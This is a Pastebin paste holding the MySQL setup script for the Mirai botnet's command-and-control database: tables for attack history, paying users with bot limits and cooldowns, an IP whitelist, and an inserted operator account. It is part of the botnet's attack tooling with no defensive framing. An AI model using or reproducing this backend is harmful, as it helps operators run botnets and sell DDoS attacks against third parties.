Advertisement
BotNetFiles

[SQL] Mirai Database perms

Mar 27th, 2017
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.16 KB | None | 0 0
  1. INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
  2.  
  3. CREATE DATABASE mirai;
  4.  
  5. CREATE TABLE `history` (
  6. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  7. `user_id` int(10) unsigned NOT NULL,
  8. `time_sent` int(10) unsigned NOT NULL,
  9. `duration` int(10) unsigned NOT NULL,
  10. `command` text NOT NULL,
  11. `max_bots` int(11) DEFAULT '-1',
  12. PRIMARY KEY (`id`),
  13. KEY `user_id` (`user_id`)
  14. );
  15.  
  16. CREATE TABLE `users` (
  17. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  18. `username` varchar(32) NOT NULL,
  19. `password` varchar(32) NOT NULL,
  20. `duration_limit` int(10) unsigned DEFAULT NULL,
  21. `cooldown` int(10) unsigned NOT NULL,
  22. `wrc` int(10) unsigned DEFAULT NULL,
  23. `last_paid` int(10) unsigned NOT NULL,
  24. `max_bots` int(11) DEFAULT '-1',
  25. `admin` int(10) unsigned DEFAULT '0',
  26. `intvl` int(10) unsigned DEFAULT '30',
  27. `api_key` text,
  28. PRIMARY KEY (`id`),
  29. KEY `username` (`username`)
  30. );
  31.  
  32. CREATE TABLE `whitelist` (
  33. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  34. `prefix` varchar(16) DEFAULT NULL,
  35. `netmask` tinyint(3) unsigned DEFAULT NULL,
  36. PRIMARY KEY (`id`),
  37. KEY `prefix` (`prefix`)
  38. );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement